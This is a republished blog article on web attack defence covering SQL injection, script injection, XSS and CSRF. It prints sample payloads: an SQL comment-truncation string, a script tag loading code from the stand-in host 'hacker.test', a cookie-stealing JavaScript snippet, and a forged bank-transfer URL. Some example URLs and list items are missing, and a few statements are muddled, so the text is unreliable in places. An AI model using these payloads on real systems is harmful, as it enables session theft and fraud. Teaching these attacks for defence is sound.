How to Defense against Common Web Attacks

Originally published at

The Internet is a powerful tool that connects us with users from across the globe. However, the might of the Internet has also made it vulnerable to abuse. Hackers can launch various kinds of web attacks to obtain critical and sensitive information, such as bank accounts, health records, and trade secrets. Common web attacks include script injections, SQL Injections, DDoS (Distributed Denial of Service) attacks, DNS hijacking, port vulnerability scanning, brute force password cracking, XSS and CSRF attacks. In this article, we will look at some of these attacks in detail and introduce some methods to protect against these attacks.

SQL Injection

Today, most websites are dynamic, for example, CMS websites, transaction websites, and P2P/P2C websites. These websites use languages such as PHP, .Net, Java, ROR, Python, and NodeJS for backend development, and MySQL, Oracle, and SQL Server databases for data storage. SQL injection is a type of attack that is specifically designed to target such websites. Let us examine how SQL injection works.

Assume that the URL to a list page is in the following format:

By accessing this URL, you can obtain all the completed orders recorded on this user list. Then, you can see that the code for accessing the page on the backend, which looks like the following: $sql = 'select * from orders where status = \'' . status. '\' and userId = \'' . userId;

The statement above is invulnerable as the filter condition “userId” only allows you to query your orders. However, when a request is in the following format:'--, the concatenated statement may look like the following: $sql = 'select * from orders where status = 'finished'--and userId =' xxxx ';

Given that “ — “ is used for commenting in databases, the filter condition “and userId=’xxxx’” will not work in this case. By executing this statement, hackers can obtain the data about any completed orders on this website.

To prevent SQL injection attacks, follow these simple steps:

  • Check all parameters thoroughly.

Script Injection

When you see an unexpected script like <script src="http://hacker.test/hack.js"></script> on your web page, your page has probably suffered from a script injection attack. There are multiple ways of executing script injection attacks, such as modifying the web page by obtaining server permissions, injecting scripts through SQL injection methods, and injecting scripts by exploiting web page interaction vulnerabilities. To make matters worse, script injection and SQL injection vulnerability scanning robots for scanning web site vulnerabilities are easily available on the internet.

By initiating script injection attacks, hackers can inject Trojan programs, modify page content, redirect users to other websites, route traffic, and collect unauthorized information.

Cross Site Scripting (XSS) attacks

XSS is just one of many script injection attack methods, but it is very popular among hackers as it allows them to inject scripts easily. The following is a simple example of an XSS attack:

Consider a website that supports comments and replies. Suppose someone enters the following script in the comment box:

var i = document.createElement('img');
i.setAttribute('src', ''+document.cookie);

When other users view the submitted comment, the hacker can obtain cookie information about the user (including session ID). The hacker can then perform operations allowed only for the original user by loading cookies from a script.

To prevent script injection and XSS attacks, you should ensure the following:
1. Only open ports required on the server, such as ports 80, 443 and 22.
2. Always check parameters, and adopt HTML escape for content submitted on the page.
3. Use URL encode escape for content submitted through the URL.
4. Set up human-machine identification (such as by using verification codes) at the login and sign-up entry-points.

Cross-Site Request Forgery (CSRF)

Many users do not fully understand the differences of CSRF with XSS. Common XSS attacks are specific to websites, and work by injecting scripts to web sites to obtain user information. Comparatively, CSRF is more advanced as it can bypass injection and enable hackers to obtain user information directly without hacking users’ cookie information.

Though CSRF is less notorious, many websites suffer from CSRF vulnerabilities. Programmers first cited it as a security threat in 2000. However, it did not attract attention in China until 2006. In 2008, reports emerged that multiple large communities and interactive websites in and outside of China suffered from CSRF vulnerabilities, including Baidu HI,, Metafilter, and YouTube. Even today, many websites on the Internet lack adequate protection against CSRF, making it a significant threat to network security.

The following diagram explains the principle of CSRF attacks:

The following example (abstracted from the internet) further illustrates the process illustrated in the figure.

Bob saves his money in a bank. Bob transfers USD $100,000 USD to the account bob2 by sending the following request to the website of the bank http://bank.example/withdraw?account=bob&amount=1000000&for=bob2. Normally, when the website receives the request, its server verifies if the request is from a valid session. Only then can Bob log in to his account successfully.

The hacker Mallory also has an account in the same bank, and he knows that he can transfer money through the URL above. Then, Mallory can send the following request to the website of the bank: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory. However, this request will not work as the request originates from Mallory and not Bob and it cannot pass security authentication. To circumvent the authentication, Mallory tries to steal Bob’s authentication information with a CSRF attack. Mallory injects the code (src="http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory") to the website, and induces Bob to access the website through spear phishing. Accessing the website sends the above URL to the bank server from Bob's browser, and the cookies stored in the browser are sent to the server along with the request.

In most cases, this request will fail as Bob’s authentication information is still missing. However, this information will remain in the cookies of the browser if the session between the browser and the bank website has not expired. This could happen a few seconds after Bob has accessed the website. If this is the case, the URL request will receive a response, prompting the transfer of money from Bob’s account to Mallory’s account without Bob’s knowledge. Later, when Bob queries the bank for transfer logs, he will notice money missing from his account. He will not be able to find any attack records but only a valid transfer request authorized by himself.

To defend against CSRF attacks, you can implement the following steps:

  • Verifying the HTTP Referer field
    Referer is a header field defined by the HTTP protocol. It records the source address of the current HTTP request. Through Referer, you can easily identify the source of the current request to implement basic protection. However, it is possible to forge it if you are using IE 6 because the requester initiates Referer.


In this article, we discussed some of the common web-based attacks that websites and users suffer from, including SQL injections, script injections, XSS attacks, and CSRF. We looked at how each of them works, while also prescribing some steps that can help defend against such attacks.

Follow me to keep abreast with the latest technology news, industry insights, and developer trends.